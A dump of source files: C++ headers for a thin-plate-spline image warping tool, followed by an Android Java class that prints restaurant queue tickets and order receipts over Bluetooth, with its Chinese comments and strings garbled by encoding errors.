// model object base class
#include <ModelObject.h>
// Dib for resampling
#include <Dib.h>
//////////////////////////////////////////////////////////////////////
// class CTPSTransform
//
// represents a basic TPS transform. holds a collection of position
// vector pairs and interpolates the field from those
//////////////////////////////////////////////////////////////////////
class CTPSTransform : public CModelObject
#ifdef _FIELDCOM
, public IField
#endif
{
public:
// construction/destruction
CTPSTransform();
virtual ~CTPSTransform();
// landmark accessors
int GetLandmarkCount();
const CVectorD<3>& GetLandmark(int nDataSet, int nIndex);
void SetLandmark(int nDataSet, int nIndex, const CVectorD<3>& vLandmark);
// functions to add landmark points
int AddLandmark(const CVectorD<3>& vLandmark);
int AddLandmark(const CVectorD<3>& vLandmark1,
const CVectorD<3>& vLandmark2);
// removes all landmarks from the transform
void RemoveAllLandmarks();
// sets the r-param
void SetRExponent(float r_exp)
{
m_r_exp = r_exp;
m_bRecalc = TRUE;
m_bRecalcPresample = TRUE;
}
void SetK(float k)
{
m_k = k;
m_bRecalc = TRUE;
m_bRecalcPresample = TRUE;
}
// evaluates the field at a point
// returns the offset vector, so the mapped point can be derived by adding the position and offset
void Eval(const CVectorD<3>& vPos, CVectorD<3>& vOffset, float percent);
// resamples an image based on the field
void Resample(CDib *pImageSrc, CDib *pImageDst, float percent);
// helper to check that another transform is set up as the inverse of this one
BOOL CheckInverse(CTPSTransform* pInverse);
protected:
// recalculates the TPS from the landmarks
void RecalcWeights();
// used to construct the presampled vector field
void Presample(int width, int height);
private:
// the array of landmarks
vector< CVectorD<3> > m_arrLandmarks[2];
// represents the pre-sampled array
vector< CVectorD<3> > m_presampledOffsets;
int m_presampledWidth;
int m_presampledHeight;
// stores the inverse of the distance matrix
CMatrixNxM<> m_mL_inv;
// the final weight vectors
CVectorN<> m_vWx;
CVectorN<> m_vWy;
// the radial basis exponent
float m_r_exp;
float m_k;
// flag to indicate that recalculation of the TPS is needed
BOOL m_bRecalcMatrix;
BOOL m_bRecalc;
BOOL m_bRecalcPresample;
};
#endif // !defined(AFX_TPSTRANSFORM_H__AD843B49_3C65_4573_B2D5_9C258B29969B__INCLUDED_)
```
DibView.h
```//////////////////////////////////////////////////////////////////////
// DibView.h: interface for the CDibView class.
//
// Copyright (C) 2002
// $Id: DibView.h,v 1.3 2003/11/01 01:40:01 default Exp $
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_DIBVIEW_H__82A024A5_F229_4D54_AC0C_53BDCEFEF58D__INCLUDED_)
#define AFX_DIBVIEW_H__82A024A5_F229_4D54_AC0C_53BDCEFEF58D__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <VectorD.h>
#include <Dib.h>
#include "TPSTransform.h"
//////////////////////////////////////////////////////////////////////
// class CDibView
//
// window that displays a particular DIB and allows the user to place
// landmarks that are added to a CTPSTransform.
//////////////////////////////////////////////////////////////////////
class CDibView : public CWnd
{
// Construction
public:
CDibView();
// Attributes
public:
// sets the document that is being displayed by this CDibView
void SetDocument(CDocument *pDoc);
// sets the DIB to be displayed
CDib* GetDib() { return m_pDib; }
void SetDib(CDib *pDib);
// sets the transform to be managed
void SetTransform(CTPSTransform *pForwardTransform, CTPSTransform *pInverseTransform, int nDataSet);
// Operations
public:
// returns the images destination rectangle
CRect GetDstRect();
// conversion image <-> client coordinates
CPoint Image2Client(const CVectorD<3>& vImage);
CVectorD<3> Client2Image(const CPoint& ptClient);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CDibView)
//}}AFX_VIRTUAL
// Implementation
public:
BOOL m_bDrawMarks;
virtual ~CDibView();
// Generated message map functions
protected:
//{{AFX_MSG(CDibView)
afx_msg void OnPaint();
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
// the document (for calling Update)
CDocument * m_pDoc;
// pointer to the image to be displayed
CDib * m_pDib;
// the TPS that is being managed by the view
CTPSTransform * m_pTransform;
CTPSTransform * m_pInverseTransform;
int m_nDataSet;
// viewing transform
CVectorD<2> m_vOffset;
double m_scale;
// handles landmark dragging
int m_nDraggingLandmark;
CPoint m_ptPrev;
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_DIBVIEW_H__82A024A5_F229_4D54_AC0C_53BDCEFEF58D__INCLUDED_)
```
|
yuzian/WangWang
|
yuzian/WangWang
LianDiA8PrintManager.java
```package com.yunjiangzhe.wangwang.printer.a8;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.text.TextUtils;
import com.qiyu.ble.BLE;
import com.qiyu.ble.PrintUtils;
import com.qiyu.share.Share;
import com.qiyu.util.CopyObjectUtil;
import com.qiyu.util.DateUtils;
import com.qiyu.util.L;
import com.qiyu.util.NumberFormat;
import com.qiyu.util.PackageDetailUtils;
import com.qiyu.util.StringUtil;
import com.yunjiangzhe.wangwang.R;
import com.yunjiangzhe.wangwang.base.AppEnumHelp;
import com.yunjiangzhe.wangwang.bean.ServiceTextBean;
import com.yunjiangzhe.wangwang.match.IPrintManager;
import com.yunjiangzhe.wangwang.response.bean.OrderDetail;
import com.yunjiangzhe.wangwang.response.bean.OrderMain;
import com.yunjiangzhe.wangwang.response.bean.PayWayBean;
import com.yunjiangzhe.wangwang.response.bean.PreferentialDetail;
import com.yunjiangzhe.wangwang.response.bean.QRCodeBean;
import com.yunjiangzhe.wangwang.response.data.OrderCollectData;
import com.yunjiangzhe.wangwang.response.data.OrderSummaryData;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.IOException;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import rx.Observable;
import rx.android.schedulers.AndroidSchedulers;
import rx.functions.Func1;
import rx.schedulers.Schedulers;
import static com.qiyu.util.App.getStr;
import static com.qiyu.util.NumberFormat.dTs;
public class LianDiA8PrintManager extends IPrintManager {
private int length_1 = 20;
private int length_2 = 6;
private int length_3 = 10;
public final static int REQUEST_CODE_PRINT_ONE = 100;
public final static int REQUEST_CODE_PRINT_TWO = 101;
private boolean isFrist = true; //ๆฏๅฆๆฏๆๅฐ็ฌฌไธ่
private static LianDiA8PrintManager instance;
private static final int Restaurant_Name_FontSize = 2;//่ฎพ็ฝฎๆๅฐ้ค้ฆๅ็งฐ็ๅญไฝๅคงๅฐ
private static final int DESK_Num_FontSize = 5;//่ฎพ็ฝฎๆ้ๅท็ ็ๅญไฝๅคงๅฐ
private static final String MTPackageName = "com.sankuai.poscashier";
private static final String MTPrintName = "com.sankuai.poscashier.activity.PrintActivity";
public static LianDiA8PrintManager getInstance()
{
if (instance == null)
{
synchronized (LianDiA8PrintManager.class)
{
if (instance == null)
{
instance = new LianDiA8PrintManager();
}
}
}
return instance;
}
/**
* ๆ้ๆๅฐ
*
* @param activity
* @param restaurantName ้ค้ฆๅ
* @param number ๅฝๅๅท็
* @param wait ็ญๅพ
ไบบๆฐ
*/
@Override
public void printListNumber(Activity activity, String restaurantName, String number, int wait)
{
showDialog(activity);
//่ฎพ็ฝฎๆๅฐJSONArrayๆฐๆฎ
JSONArray arr = new JSONArray();
try
{
//ๆๅฐ้ค้ฆๅ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName
(restaurantName)));
//ๆๅฐๅๅๅ
ๅฎน
String content1 = "-------------------------------";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content1));//ๅๅฒ็บฟ
String content2 = "ๆจ็ๆ้ๅท็ ไธบ:";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content2));
//ๆๅฐๅท็
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
String numStr = "";
int numSpace = 8 - number.length() + 2;
for (int i = 0; i < numSpace; i++)
{
numStr += " ";
}
numStr += number + "ๅท";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", DESK_Num_FontSize).put("content", numStr));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
//ๆๅฐๅๅๅ
ๅฎน
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content1));//ๅๅฒ็บฟ
String content4 = "ๆจ็ๅ้ข่ฟๆ " + wait + " ไบบๅจ็ญๅพ
";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content4));
String content5 = DateUtils.format(new Date(), "yyyy-MM-dd HH:mm");
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content5));
String content6 = "่ฏท่ๅฟ็ๆๅซๅท ่ฟๅทไฝๅบ";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content6));
for (int i = 0; i < 5; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
Intent intent = new Intent();
intent.setComponent(new ComponentName(MTPackageName, MTPrintName));
intent.putExtra("lines", arr.toString());
activity.startActivity(intent);
}
catch (JSONException e)
{
e.printStackTrace();
}
}
/**
* ๅ ่ๅๆๅฐ -- ่็ๆๅฐๆบ
*
* @param activity
* @param isShowDialog
* @param mOrderMain ่ฎขๅๅบๆฌไฟกๆฏ
* @param printTimes ๆๅฐๆฌกๆฐ
*/
@Override
public void printAddOrder(Activity activity, boolean isShowDialog, OrderMain mOrderMain, int printTimes)
{
if (isShowDialog)
{
showDialog(activity);
}
OrderMain orderMain = (OrderMain) CopyObjectUtil.copy(mOrderMain);
printOrderOrAddOrder(orderMain, printTimes, 1);
/* BLE.get().init().connectDeviceByAddr();
for (int i = 1; i <= printTimes; i++)
printAddOrderDataForBlue(orderMain);*/
// JSONArray arr = new JSONArray();
// for (int i = 1; i <= printTimes; i++)
// {
// //่ฎพ็ฝฎๆๅฐJSONArrayๆฐๆฎ
// printAddOrderData(arr, orderMain);
// }
// Intent intent = new Intent();
// intent.setComponent(new ComponentName(MTPackageName, MTPrintName));
// intent.putExtra("lines", arr.toString());
// activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO);
}
/**
* ๆๅฐๅ ่ๅๆจกๆฟ -- ่็
*/
private void printAddOrderDataForBlue(OrderMain mOrderMain, PrintUtils printUtils)
{
OrderMain orderMain = (OrderMain) CopyObjectUtil.copy(mOrderMain);
//ๅฐ่ฎขๅ่ฏฆๆ
ๆฟๆขๆๅซๅฅ้คๆ็ป็่ฏฆๆ
List<OrderDetail> printData = PackageDetailUtils.getShowDetails(orderMain.getOrderDetailModelList());
orderMain.setOrderDetailModelList(printData);
List<OrderDetail> orderDetails = new ArrayList<>();
orderDetails.clear();
orderDetails.addAll(orderMain.getOrderDetailModelList());
boolean isChange = false;// ๆฏๅฆๆดๆขๆกๅทๅ่ฎขๅๅฐพๅทๆๅฐ็ไฝ็ฝฎ
if (Share.get().getIsCall() == AppEnumHelp.IS_CALL_1.getValue())
{
isChange = true;
}
//ๆๅฐ้ค้ฆๅ
String restaurantName = (TextUtils.isEmpty(orderMain.getRestaurantName()) ? "ๆ้ฑผ็น้ค" : orderMain.getRestaurantName());
printUtils.selectCommand(PrintUtils.ALIGN_CENTER);
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText(restaurantName);
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText("\n\nๅ ่ๅ\n\n");
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.selectCommand(PrintUtils.ALIGN_LEFT);
String desk = "";
if (!TextUtils.isEmpty(orderMain.getMainDesk()) && !orderMain.getMainDesk().equals("null") && !orderMain.getMainDesk().equals("0"))
{
desk = "ๆกๅท: " + orderMain.getMainDesk();
}
String userName = "ไธๅๅ: " + orderMain.getCreaterName();
if (isChange)
{
printUtils.printText(PrintUtils.get().printTwoData(32, userName, "่ฎขๅๅฐพๅท: " + orderMain.getTailNo()) + "\n");
}
else
{
int totalLen = StringUtil.getLengthForInputStr(userName + desk);// ไธๅๅ ๅ ๆกๅท ็ๅญ็ฌฆๆป้ฟๅบฆ
if (totalLen > 30)
{
printUtils.printText(userName + "\n");
printUtils.printText(desk + "\n");
}
else
{
printUtils.printText(PrintUtils.get().printTwoData(32, userName, desk) + "\n");
}
}
//ๅๅฒ็บฟ
String content = "--------------------------------\n";
printUtils.printText(content);
String personNumber = "";
if (orderMain.getMainGuests() > 0)
{
personNumber = "็จ้คไบบๆฐ: " + orderMain.getMainGuests();
}
if (isChange)
{
if (!TextUtils.isEmpty(desk) && !TextUtils.isEmpty(personNumber))
{
if (!TextUtils.isEmpty(desk) && !TextUtils.isEmpty(personNumber))
{
int totalLen = StringUtil.getLengthForInputStr(desk + personNumber);
if (totalLen > 30)
{
printUtils.printText(desk + "\n");
printUtils.printText(personNumber + "\n");
}
else
{
printUtils.printText(PrintUtils.get().printTwoData(32, desk, personNumber) + "\n");
}
}
}
else if (TextUtils.isEmpty(desk) && TextUtils.isEmpty(personNumber))
{
// ไธไฝๅค็๏ผไธคไธช้ฝไธบ็ฉบๆญค่กไธๆๅฐ
}
else
{
printUtils.printText(desk + personNumber + "\n");
}
}
else
{
printUtils.printText(PrintUtils.get().printTwoData(32, "่ฎขๅๅฐพๅท: " + orderMain.getTailNo(), personNumber) + "\n");
}
//ๆฒกๆๆกๅท ไนๆฒกๆ็จ้คไบบๆฐ ็ดๆฅๆๅฐ
printUtils.printText("ไธๅๆถ้ด: " + DateUtils.formatDateTime(orderMain.getCreateAt(), "yyyy/MM/dd HH:mm") + "\n");
if (orderMain.getMainStatus() == 2)
{
printUtils.printText("ไปๆฌพๆถ้ด: " + DateUtils.formatDateTime(orderMain.getPayTime(), "yyyy/MM/dd HH:mm") + "\n");
}
if (!TextUtils.isEmpty(orderMain.getPackageRemark()))
{
printUtils.printText("ๅฑๆง: " + orderMain.getMainRemark() + "\n");
}
printUtils.printText(content);//ๅๅฒ็บฟ
printUtils.printText("ๅๅ ๆฐ้ ๆปไปท\n");
// ๆๅฐ่ๅๅ่กจ
for (OrderDetail bean : orderDetails)
{
printXiaoFeiOrJieZhangDan(printUtils, bean, 1); // ๅ ่ๅๆดๅๆๅฐ๏ผไฝฟ็จๅคงๅทๅญไฝๆๅฐ่ๅๅ่กจ๏ผๅณไผ ๅผmainStatusไธ็ญไบ2๏ผ
}
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.selectCommand(PrintUtils.ALIGN_LEFT);
if (orderMain.getMainStatus() != 2) // ๆๅฐๆถ่ดนๅ็ ๅคๆณจใ่ๅๆฐ้ใๅ่ฎก
{
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText(content);//ๅๅฒ็บฟ
if (!TextUtils.isEmpty(orderMain.getMainRemark()))
{
printUtils.printText("่ฎขๅๅคๆณจ: " + orderMain.getMainRemark() + "\n");
}
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText("่ๅๆฐ้: " + orderMain.getFoodCountTotal() + "\n");
printUtils.printText("้้ขๅ่ฎก: " + dTs(orderMain.getOriginalMoney()) + "\n");
}
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText("\n\n\n\n\n\n");
}
//ๅ ่ๅ่ๅๅ่กจ
private void printAddOrderFoodsForBlue(List<OrderDetail> orderDetailModelList, PrintUtils printUtils)
{
for (OrderDetail bean : orderDetailModelList)
{
printUtils.printText(printSingleFood(length_1, length_2, length_3, bean) + "\n");
}
}
/**
* ่ฎขๅๆๅฐ -- ่็ๆๅฐๆบ
*
* @param activity
* @param isShowDialog
* @param orderMain ่ฎขๅ่ฏฆๆ
* @param printTimes ๆๅฐๆฌกๆฐ
*/
@Override
public void printOrder(Activity activity, boolean isShowDialog, OrderMain orderMain, int printTimes)
{
if (isShowDialog)
{
showDialog(activity);
}
printOrderOrAddOrder(orderMain, printTimes, 2);
}
/** ็พๅขๆๅฐ */
private void printOrderOrAddOrder(OrderMain orderMain, int printTimes, int orderOrAddOrder)
{
Observable.just("").subscribeOn(Schedulers.newThread()).flatMap(new Func1<String, Observable<Boolean>>()
{
@Override
public Observable<Boolean> call(String s)
{
return Observable.just(BLE.get().init().connectDeviceByAddr());
}
}).unsubscribeOn(Schedulers.newThread()).observeOn(AndroidSchedulers.mainThread()).subscribe(ss ->
{
if (ss)
{
try
{
OutputStream stream = BLE.get().mtBtSocket.getOutputStream();
// PrintUtils printUtils = new PrintUtils();
PrintUtils printUtils = PrintUtils.get();
printUtils.setOutputStream(stream);
if (orderOrAddOrder == 2)
// ๆๅฐ
{
for (int i = 1; i <= printTimes; i++)
{
printOrderDataForBlue(orderMain, printUtils);
}
}
else if (orderOrAddOrder == 1)
{
for (int i = 1; i <= printTimes; i++)
{
printAddOrderDataForBlue(orderMain, printUtils);
}
}
}
catch (Exception e)
{
e.printStackTrace();
}
}
else
{
}
});
}
// /** ่็ๆๅฐๆบๆๅฐ่ฎขๅ */
// public void printOrder(OrderMain orderMain, int printTimes, PrintUtils printUtils)
// {
// for (int i = 1; i <= printTimes; i++)
// {
// printOrderDataForBlue(orderMain, printUtils);
// }
// }
/**
* ๅๅนถ่ฎขๅๆๅฐ
*/
@Override
public void printOrders(Activity activity, boolean isShowDialog, List<OrderMain> data)
{
L.e("ๅๅนถ่ฎขๅๅๅนถ่ฎขๅๅๅนถ่ฎขๅๅๅนถ่ฎขๅๅๅนถ่ฎขๅๅๅนถ่ฎขๅๅๅนถ่ฎขๅๅๅนถ่ฎขๅๅๅนถ่ฎขๅ");
if (isShowDialog)
{
showDialog(activity);
}
for (int i = 0; i < data.size(); i++)
{
printOrderOrAddOrder(data.get(i), 1, 2);
}
}
/**
* ่ฎขๅๆๅฐๆจกๆฟ
*/
private void printOrderDataForBlue(OrderMain mOrderMain, PrintUtils printUtils)
{
OrderMain orderMain = (OrderMain) CopyObjectUtil.copy(mOrderMain);
//ๅฐ่ฎขๅ่ฏฆๆ
ๆฟๆขๆๅซๅฅ้คๆ็ป็่ฏฆๆ
List<OrderDetail> printData = PackageDetailUtils.getShowDetails(orderMain.getOrderDetailModelList());
orderMain.setOrderDetailModelList(printData);
List<OrderDetail> orderDetails = new ArrayList<>();
orderDetails.clear();
orderDetails.addAll(orderMain.getOrderDetailModelList());
boolean isChange = false;// ๆฏๅฆๆดๆขๆกๅทๅ่ฎขๅๅฐพๅทๆๅฐ็ไฝ็ฝฎ
if (Share.get().getIsCall() == AppEnumHelp.IS_CALL_1.getValue())
{
isChange = true;
}
//ๆๅฐ้ค้ฆๅ
String restaurantName = (TextUtils.isEmpty(orderMain.getRestaurantName()) ? "ๆ้ฑผ็น้ค" : orderMain.getRestaurantName());
printUtils.selectCommand(PrintUtils.ALIGN_CENTER);
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText(restaurantName);
printUtils.selectCommand(PrintUtils.NORMAL);
if (orderMain.getMainStatus() == 2)
{
if (orderMain.getReverseNumber() == 0)// 0 ไธบๆญฃๅธธ่ฎขๅ๏ผ1 ไธบๅ็ป่ดฆ่ฎขๅ
{
printUtils.printText("\n\n็ป่ดฆๅ\n\n");
}
else
{
printUtils.printText("\n\n็ป่ดฆๅ๏ผๅ๏ผ\n\n");
}
}
else
{
if (orderMain.getReverseNumber() == 0)// 0 ไธบๆญฃๅธธ่ฎขๅ๏ผ1 ไธบๅ็ป่ดฆ่ฎขๅ
{
printUtils.printText("\n\nๆถ่ดนๅ\n\n");
}
else
{
printUtils.printText("\n\nๆถ่ดนๅ๏ผๅ๏ผ\n\n");
}
}
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.selectCommand(PrintUtils.ALIGN_LEFT);
String desk = "";
if (!TextUtils.isEmpty(orderMain.getMainDesk()) && !orderMain.getMainDesk().equals("null") && !orderMain.getMainDesk().equals("0"))
{
desk = "ๆกๅท: " + orderMain.getMainDesk();
}
String userName;
if (orderMain.getMainStatus() == 2)
{
userName = getStr(R.string.cashier_person) + ": " + orderMain.getCashierName();
}
else
{
userName = getStr(R.string.confirm_man) + orderMain.getCreaterName();
}
if (isChange)
{
printUtils.printText(PrintUtils.get().printTwoData(32, userName, "่ฎขๅๅฐพๅท: " + orderMain.getTailNo()) + "\n");
}
else
{
int totalLen = StringUtil.getLengthForInputStr(userName + desk);// ไธๅๅ ๅ ๆกๅท ็ๅญ็ฌฆๆป้ฟๅบฆ
if (totalLen > 30)
{
printUtils.printText(userName + "\n");
printUtils.printText(desk + "\n");
}
else
{
printUtils.printText(PrintUtils.get().printTwoData(32, userName, desk) + "\n");
}
}
//ๅๅฒ็บฟ
String content = "--------------------------------\n";
printUtils.printText(content);
String personNumber = "";
if (orderMain.getMainGuests() > 0)
{
personNumber = "็จ้คไบบๆฐ: " + orderMain.getMainGuests();
}
if (isChange)
{
if (!TextUtils.isEmpty(desk) && !TextUtils.isEmpty(personNumber))
{
int totalLen = StringUtil.getLengthForInputStr(desk + personNumber);
if (totalLen > 30)
{
printUtils.printText(desk + "\n");
printUtils.printText(personNumber + "\n");
}
else
{
printUtils.printText(PrintUtils.get().printTwoData(32, desk, personNumber) + "\n");
}
}
else if (TextUtils.isEmpty(desk) && TextUtils.isEmpty(personNumber))
{
// ไธไฝๅค็๏ผไธคไธช้ฝไธบ็ฉบๆญค่กไธๆๅฐ
}
else
{
printUtils.printText(desk + personNumber + "\n");
}
}
else
{
printUtils.printText(PrintUtils.get().printTwoData(32, "่ฎขๅๅฐพๅท: " + orderMain.getTailNo(), personNumber) + "\n");
}
//ๆฒกๆๆกๅท ไนๆฒกๆ็จ้คไบบๆฐ ็ดๆฅๆๅฐ
printUtils.printText("ไธๅๆถ้ด: " + DateUtils.formatDateTime(orderMain.getCreateAt(), "yyyy/MM/dd HH:mm") + "\n");
if (orderMain.getMainStatus() == 2)
{
printUtils.printText("ไปๆฌพๆถ้ด: " + DateUtils.formatDateTime(orderMain.getPayTime(), "yyyy/MM/dd HH:mm") + "\n");
}
if (!TextUtils.isEmpty(orderMain.getPackageRemark()))
{
printUtils.printText("ๅฑๆง: " + orderMain.getMainRemark() + "\n");
}
printUtils.printText(content);//ๅๅฒ็บฟ
printUtils.printText("ๅๅ ๆฐ้ ๆปไปท\n");
printFoodsForBlue(orderDetails, printUtils, orderMain.getMainStatus());// ๆๅฐ่ๅๅ่กจ
printUtils.selectCommand(PrintUtils.NORMAL);
printAddFoodsForBlue(orderDetails, printUtils, orderMain.getMainStatus());// ๆๅฐๅ ่ๅ่กจ
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.selectCommand(PrintUtils.ALIGN_LEFT);
// ๆๅฐ้คไฝ่ดน
List<OrderDetail> details = createFeeForDetails(orderMain);
if (!details.isEmpty())
{
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText(content);//ๅๅฒ็บฟ
for (OrderDetail detail : details)
{
String rightText = PrintUtils.get().printTwoData(13, NumberFormat.dTs3(detail.getDetailCount()), NumberFormat.dTs(detail.getTotalPrice()));
printUtils.printText(PrintUtils.get().printTwoData(32, detail.getFoodName(), rightText) + "\n");
}
}
if (orderMain.getMainStatus() != 2) // ๆๅฐๆถ่ดนๅ็ ๅคๆณจใ่ๅๆฐ้ใๅ่ฎก
{
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText(content);//ๅๅฒ็บฟ
if (!TextUtils.isEmpty(orderMain.getMainRemark()))
{
printUtils.printText("่ฎขๅๅคๆณจ: " + orderMain.getMainRemark() + "\n");
}
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText("่ๅๆฐ้: " + orderMain.getFoodCountTotal() + "\n");
printUtils.printText("้้ขๅ่ฎก: " + dTs(orderMain.getOriginalMoney()) + "\n");
}
else // ๆๅฐ็ป่ดฆๅ
{
printUtils.selectCommand(PrintUtils.NORMAL);
if (!TextUtils.isEmpty(orderMain.getMainRemark()))
{
printUtils.printText(content);//ๅๅฒ็บฟ
printUtils.printText("่ฎขๅๅคๆณจ: " + orderMain.getMainRemark() + "\n");
}
// ๆๅฐไผๆ ไฟกๆฏ
if (orderMain.getDiscountsTotal() > 0)
{
printUtils.printText("------------ไผๆ ๆ็ป------------\n\n");//ๅๅฒ็บฟ
List<PreferentialDetail> detailList = orderMain.getPreferentialList();
if (null != detailList && detailList.size() > 0)
{
for (PreferentialDetail detail : detailList)
{
printUtils.printText(detail.getPreferentialName() + ": -๏ฟฅ" + dTs(detail.getPreferentialMoney()) + "\n");
}
}
}
// ๆๅฐ็ป็ฎๆ็ป
printUtils.printText("------------็ป็ฎๆ็ป------------\n\n");//ๅๅฒ็บฟ
printUtils.printText("่ๅๆฐ้: " + orderMain.getFoodCountTotal() + "\n");
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText("้้ขๅ่ฎก: " + orderMain.getOriginalMoney() + "\n");
if (orderMain.getDiscountsTotal() > 0)
{
printUtils.printText("ไผๆ ๅ่ฎก: " + orderMain.getDiscountsTotal() + "\n");
}
printUtils.printText("ๅฎๆถ้้ข: " + dTs(orderMain.getReceivedMoney()) + "\n");
printUtils.selectCommand(PrintUtils.NORMAL);
if (!TextUtils.isEmpty(orderMain.getPayType()) && orderMain.getReverseNumber() <= 0)
{
printUtils.printText("ๆฏไปๆนๅผ: " + orderMain.getPayType() + "\n");
}
List<PayWayBean> payWayDetail = orderMain.getPayWayDetail();
if (null != payWayDetail && payWayDetail.size() > 0)
{
for (PayWayBean detail : payWayDetail)
{
String payWay = detail.getPayWay() + "";
if (payWay.equals("็ฐ้ๆฏไป"))
{
payWay = "็ฐ้ๆถๆฌพ";
}
printUtils.printText(payWay + ": " + dTs(detail.getPayMoney()) + "\n");
if (detail.getOddChange() > 0)
{
printUtils.printText("็ฐ้ๆพ้ถ: " + dTs(detail.getOddChange()) + "\n");
}
}
printUtils.printText("\n");// ้ไธ่ก
}
}
printUtils.selectCommand(PrintUtils.NORMAL);
String inscribed = Share.get().getPrintInscribed();//่ฝๆฌพ
if (!TextUtils.isEmpty(inscribed))
{
printUtils.printText("\n\n");
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText(inscribed + "\n");
}
printUtils.selectCommand(PrintUtils.ALIGN_CENTER);
if (!TextUtils.isEmpty(orderMain.getQrCodeStr()))
{
// printUtils.selectCommand(PrintUtils.ALIGN_CENTER);
if (orderMain.getMainStatus() == 2)
{
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText("\n" + getStr(R.string.sao_get_more_service2) + "\n");
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText(getStr(R.string.record_parking_coupons) + "\n");
}
else
{
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText("\n" + getStr(R.string.sao_get_more_service) + "\n");
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText(getStr(R.string.payment_service_coupons) + "\n");
}
try
{
printUtils.qrCode(orderMain.getQrCodeStr());
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText("ๆๆฏๆฏๆbyๆ้ฑผ็น้ค\n");
}
catch (IOException e)
{
e.printStackTrace();
}
}
printUtils.selectCommand(PrintUtils.NORMAL);
printUtils.printText("\n");
printUtils.printText("-------ๅๅฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆๅผ------\n");
printUtils.printText(" \n");
printUtils.printText(" \n");
printUtils.printText(" \n");
printUtils.printText(" \n");
}
//ๆๅฐ่ๅๆฐๆฎๆ็ป -- ่็ๆๅฐๆบ
private void printFoodsForBlue(List<OrderDetail> orderDetails, PrintUtils printUtils, int mainStatus)
{
L.e("xxxxxxxxxxxxxxsize=" + orderDetails.size() + "");
for (OrderDetail orderDetail : orderDetails)
{
// mainStatus; //่ฎขๅ็ถๆ(1=ๅๅง|2=ๆฏไปๆๅ|8=้คๅๆฏไปๅทฒ็กฎ่ฎค|9=้คๅๆฏไปๅทฒๅๆถ) @mock=1๏ผ1 ใ8 ใ9ๆชๆฏไป 2๏ผๅทฒๆฏไป๏ผ
// addState;//0ๆฎ้ 1ๅ ่ 2้่
// ๆๅฐๆถ่ดนๅ mainStatus!=2 // ๆๅฐ็ป่ดฆๅ mainStatus==2
if (orderDetail.getAddState() == 0 || orderDetail.getAddState() == 2)
{
printXiaoFeiOrJieZhangDan(printUtils, orderDetail, mainStatus);
}
}
}
private void printXiaoFeiOrJieZhangDan(PrintUtils printUtils, OrderDetail orderDetail, int mainStatus)
{
//ๅคๆญ่ๅๆฏไธๆฏๅฅ้ค็่ฏฆๆ
่ๅ
boolean isPackageFood = false;
if (orderDetail.getId() == 0 && !(orderDetail.getFoodName().equals(getStr(R.string.table_fee))) && !(orderDetail.getFoodName().equals(getStr(R.string
.service_fee))) && !(orderDetail.getFoodName().equals(getStr(R.string.packaging_fee))))
{
isPackageFood = true;
}
// ๆทปๅ ่ๅ
String foodName = orderDetail.getFoodName();
String price = "";
if (isPackageFood)
{
price = getStr(R.string.package_detail_tip);
}
else
{
price = NumberFormat.dTs(orderDetail.getTotalPrice());
}
// 1.ๅ
ๅคๆญๆฏไธๆฏ็งฐ้่ฎก้๏ผๅฆๆๆฏ๏ผ่ๅไธ่ก๏ผๆฐ้ๆปไปทๅฆ่ตทไธ่ก
String count = "";
if (mainStatus == 2) // ็ป่ดฆๅ ---- ่ๅๅ่กจ้็จๆญฃๅธธๅญไฝ
{
printUtils.selectCommand(PrintUtils.NORMAL);
if (orderDetail.getUnitType() == 2)//1=ๆฎ้|2=็งฐ้่ฎก้|3=ไปฝ้)
